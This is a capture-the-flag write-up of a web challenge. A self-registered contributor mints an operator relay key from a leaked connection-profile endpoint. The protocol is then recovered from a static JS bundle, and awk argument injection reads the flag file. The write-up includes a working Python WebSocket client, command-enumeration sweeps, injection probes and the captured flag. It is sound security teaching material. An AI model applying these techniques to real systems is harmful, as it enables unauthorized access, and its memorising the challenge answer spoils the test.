Pipeline Console
The CI/CD console for campus-web keeps two tiers of access: contributors watch build logs, operators get a live diagnostics channel. A newer self-service feature was added to make that channel easier to reach - and in the process, the line between the two tiers got a little blurry.
Even inside that channel, it only speaks a short, approved vocabulary. Every tool has a trick up its sleeve, though.
Connections
- https://harvard-neural-malpractice-comply.trycloudflare.com
Recon
A 500-point black-box web challenge with no source files, running on an Express server behind a Cloudflare tunnel. The instance was shared and rate-limited, answering bursts of requests with HTTP 429, so we paced every request at three seconds or more and backed off on each 429. The app has two access tiers, contributors who watch build logs and operators who get a live diagnostics channel, and the description warns that a newer self-service feature blurred the line between them. In practice the solve split into three separate problems: reach the operator channel from a self-registered contributor account, recover that channel’s undocumented WebSocket protocol, and then abuse one of the whitelisted tools inside it.
Opening the site in a browser redirects to /login, and the login page links to /register. The registration form asks for a username and a password (minimum length eight) and nothing else. There is no role selector anywhere, so a self-service account is a contributor account by construction.

We typed credentials into the form and submitted it. The server set a pipeline_session cookie and redirected us to /pipelines, a table of three pipelines: campus-web / production, search-index / nightly and archive-sync / staging. Only the first row links anywhere. /pipeline/1 is a real page; /pipeline/2 and /pipeline/3 return the same styled 404 page that every unknown route returns, reading “That route is not part of the pipeline console.”

/pipeline/1 is the contributor build-log page. It opens a WebSocket to /pipeline/1/logs/ws and appends scripted lines tagged [build], [cache], [audit] and [deploy] to a terminal box.

Viewing the page source gives the challenge’s deliberate tell. The inline script reads:
const ws = new WebSocket(
`${location.protocol === "https:" ? "wss:" : "ws:"}//${location.host}/pipeline/1/logs/ws`,
);
fetch("/pipeline/1/connection-profile", { credentials: "same-origin" })
.then((response) => response.json())
.catch(() => {});
ws.onmessage = (e) => {
try {
const m = JSON.parse(e.data);
if (m.type === "log") logBox.textContent += "\n" + m.line;
} catch (_e) {}
};
The second line fetches /pipeline/1/connection-profile and throws the response away; nothing else on the page reads it. A contributor build-log page has no reason to request a connection profile and discard it, so the endpoint itself was the next thing to look at, with the session cookie attached. The paced recon filled in the rest of the surface: /login and /register are the only public pages, POST /register, POST /login and POST /logout handle sessions, /style.css and an Inter webfont are the static assets, and everything else we probed fell through to the styled 404.
Exploitation
Minting an operator relay key
Requesting /pipeline/1/connection-profile with our contributor session returns:
{
"transport": "websocket",
"relay": {
"path": "/pipeline/relay/ws",
"header": "X-Relay-Key",
"key": "...",
"expiresInSeconds": 90
}
}
The key is a 24-character base64url token, trimmed here, and it expires 90 seconds after minting. The JSON names the relay WebSocket (/pipeline/relay/ws) and the exact header it wants (X-Relay-Key). Without that header the relay answers 401 Unauthorized. With it, the handshake succeeds and the first frame down the socket is:
{ "type": "ready", "prompt": "$", "message": "Relay diagnostics connected." }

That is the tier confusion in full: any self-registered contributor can mint a live credential for the operator diagnostics channel. The channel is now open to us, but it says nothing useful. Every frame we sent came back as one of two static replies:
non-JSON frame -> {"type":"error","message":"Invalid message."}
valid JSON of the wrong shape -> {"type":"error","message":"Unsupported request."}
Two error strings and no gradient
The second message is the whole problem. The $ prompt in the ready frame looks like a shell, so the first frames we sent were the obvious ones, a plain command line, then a small JSON object carrying a command. The plain line fell into the first bucket, the JSON into the second. From there the error never changes and never names a missing field, so a probe with most of the envelope right looks identical to a probe with none of it. There is no gradient to climb, and with no client visible from a contributor session the only way to learn the schema was to hit it exactly.
We swept the message shape in paced bursts. A type sweep sent 48 candidate type values (exec, cmd, command, diag, input, run_tool, subscribe_logs, tool_request, and so on) each crossed with seven payload shapes (command, cmd, args, line, data, text, and a nested payload object), 336 frames in one connection, and every one came back “Unsupported request.” Wider batches covered the same ground from other directions, verb-style envelopes built on run, exec, tool, call and invoke crossed with tool names, HTTP-ish frames, numbered envelopes with seq/id/v fields, tool_call/function_call/tools/call shapes, JSON-RPC 2.0 including a full MCP initialize/tools/list/tools/call handshake, PTY-style non-JSON frames, and the build-log verbs build, cache, audit, deploy as commands. The result never changed.
The auth side closed off equally. Relay keys embedded inside messages, keys moved to the query string, and extra handshake headers got the same rejections. Mass assignment at /register, sending role, tier, isOperator, isAdmin and about 25 more candidate field names, was silently ignored; NoSQL operators in the username were blocked by type validation; SQL injection payloads registered verbatim (parameterized storage); JSON bodies to /register returned a 500 because the parser only accepts form data. About 40 curated route guesses all 404’d, the usual source-leak paths (/.env, /package.json, /server.js, /.git/config) all 404’d, and robots.txt was Cloudflare boilerplate only.
All of the relay-bound probes shared one property, visible only in hindsight: none of them carried a numeric requestId. And because each key dies 90 seconds after minting, the sweeps ran as short bursts spread over many fresh connections.
Locating the console client
The productive observation came from the 404 page itself. Every unknown route gets the same styled reply, which means the app is one router with an explicit route list. Pages such as the operator console are role-gated at the page level, but static files are not: even the logged-out login page references /style.css, so the static directory is served to everyone. The relay must have a client somewhere, and if the operator console page ships a JavaScript bundle, that bundle is a static file.
So we harvested plausible bundle names with paced probes: main.js, bundle.js, index.js, ui.js, common.js, shared.js, pipeline.js, diagnostics.js, terminal.js, operator.js, diag.js, channel.js, tools.js, logs.js, ws.js, relay-client.js, and more. One answered differently:
GET /console.js -> 200, 2427 bytes, text/javascript
The wire protocol from /console.js
The bundle is the operator console client, and its submit handler contains the entire protocol:
const split = line.search(/\s/);
const command = split < 0 ? line : line.slice(0, split);
const args = split < 0 ? [] : [line.slice(split + 1)];
socket.send(
JSON.stringify({ type: "run", requestId: ++requestId, command, args }),
);
Line by line: line.search(/\s/) finds the index of the first whitespace character in the typed line, or -1 if there is none. command is the first token, or the whole line when the line is a single word. args is an array holding exactly one element, the entire remainder of the line after the first space, kept as a single string; the real UI never sends tokenized arguments. And requestId is a counter that starts at 0 and is incremented before each send, so the first request carries requestId: 1. That counter is the field every relay-bound probe omitted, which is why valid JSON kept sorting into “Unsupported request.” regardless of how close the rest of the envelope was.
The bundle’s message handler gives the response grammar:
if (message.type === "ready") {
/* banner: message + prompt */
} else if (message.type === "completed") {
/* appendLine(message.output) */
} else {
/* appendLine(message.message || 'Request rejected.') */
}
ready is the banner, completed carries the command output in output, and everything else just prints its message, which is exactly why the two error replies we had been getting look the way they do. One detail the bundle does not give up: it obtains its socket from window.openPipelineConsole(scheme), a helper defined in the gated operator page’s own inline script, so /console.js leaks the protocol but not the relay URL or the key header. We already had both from the connection profile.
With the schema known, the working client reduced to this:
import asyncio, json, urllib.request
import websockets
BASE = "https://harvard-neural-malpractice-comply.trycloudflare.com"
COOKIE = "pipeline_session=<value from register/login>"
def profile():
req = urllib.request.Request(BASE + "/pipeline/1/connection-profile",
headers={"Cookie": COOKIE})
return json.loads(urllib.request.urlopen(req, timeout=30).read())
async def main():
relay = profile()["relay"]
url = BASE.replace("https://", "wss://") + relay["path"]
hdrs = [("X-Relay-Key", relay["key"]), ("Cookie", COOKIE)]
async with websockets.connect(url, additional_headers=hdrs, open_timeout=20) as ws:
print(await asyncio.wait_for(ws.recv(), timeout=8)) # ready
req_id = 0
async def run(command, args):
nonlocal req_id
req_id += 1
await ws.send(json.dumps({"type": "run", "requestId": req_id,
"command": command, "args": args}))
return json.loads(await asyncio.wait_for(ws.recv(), timeout=5))
print(await run("ls", [])) # -> flag.txt
print(await run("pwd", [])) # -> /challenge
print(await run("awk", ["{print} flag.txt"])) # -> the flag
asyncio.run(main())
Sweeping the approved vocabulary
The first correctly shaped probe, {"type":"run","requestId":1,"command":"help","args":[]}, finally changed the error language:
{ "type": "rejected", "requestId": 1, "message": "Command is not allowed." }
This message is per command, so it turns the relay into an oracle: “Command is not allowed.” means the word is not in the vocabulary, and anything else is a hit. We swept about 120 candidate tool names, Unix utilities and diagnostic-sounding verbs, through that oracle:
WORDS = [
"build", "cache", "audit", "deploy", "status", "health", "logs", "log",
"ping", "env", "cat", "ls", "uptime", "metrics", "version", "check",
# ... about 120 Unix and diagnostic tool names in total ...
"base64", "md5sum", "sha256sum", "jq", "yq", "sed", "awk", "cut",
]
for w in WORDS:
r = await con.run(w, [], wait=0.8)
if r and isinstance(r[0], dict):
t = r[0].get("type")
if t == "rejected" and "not allowed" in r[0].get("message", ""):
pass # vocabulary miss
else:
print(f"HIT '{w}': {json.dumps(r)[:400]}")
The sweep printed one summary line and four hits along the way:
APPROVED: ['ls', 'whoami', 'pwd', 'awk']
Running each hit showed where the flag lives and which tool carries the trick:
ls -> flag.txt (the working directory)
whoami -> challenge
pwd -> /challenge
awk -> "Arguments do not match the selected diagnostic command." (signature check)
A follow-up ls -la /challenge listed flag.txt at 28 bytes, owned by the challenge user, which is the flag plus a trailing newline. And awk answered with a third distinct message, meaning it is in the vocabulary but has its own argument signature check. That check is the last gate.
The awk argument injection
Among the four approved tools, awk is the one carrying the challenge’s promised trick: the server runs it with both the program and the input file under our control, and the signature check only validates the shape of the arguments, never the operands. We probed the shapes the way the real UI would and would not send them:
PROBES = [
("awk", ["'{print}'"]),
("awk", ["{print}"]),
("awk", ["{print}", "flag.txt"]),
("awk", ["{print} flag.txt"]),
("awk", ["'{print}' flag.txt"]),
("awk", ["flag.txt"]),
("awk", ["-F:", "{print}"]),
("awk", ["//", "flag.txt"]),
("awk", ["'//{print}' flag.txt"]),
("awk", ["{print $0}", "flag.txt"]),
("awk", ["1", "flag.txt"]),
]
The two-element arrays (["{print}", "flag.txt"]), the flag forms (["-F:", "{print}"]), and the single-token programs (["{print}"], ["'{print}'"], ["flag.txt"]) all came back with “Arguments do not match the selected diagnostic command.” The accepted shapes are the natural two-token single-string forms, which makes sense given the bundle: the real client always sends the rest of the line as one string, so the server validates against that shape and then splits it into the program and the file. Both "{print} flag.txt" and "'{print}' flag.txt" were accepted, so the quoting style does not matter.
This is argument injection inside an approved tool, not a whitelist bypass. The whitelist approves awk; the check approves the shape; and we supply both the program and the filename. awk '{print}' flag.txt runs our program over the flag file and prints every line:
>> {"type":"run","requestId":3,"command":"awk","args":["{print} flag.txt"]}
The reply was a completed frame whose output field held the contents of flag.txt, which we then re-verified on a fresh connection with a fresh key.
Flag capture
The final verification script registers or logs in, mints a fresh connection profile, opens a fresh relay connection, sends a single awk run with the quoted program form, asserts the reply is completed with output that starts with NVR{ and ends with }, and writes the recovered value to a file.
$ python verify_flag.py
banner: {"type":"ready","prompt":"$","message":"Relay diagnostics connected."}
awk '{print}' flag.txt -> [{"type": "completed", "requestId": 1, "output": "NVR{c0ns0l3_n0_0n3_gu4rd3d}\n"}]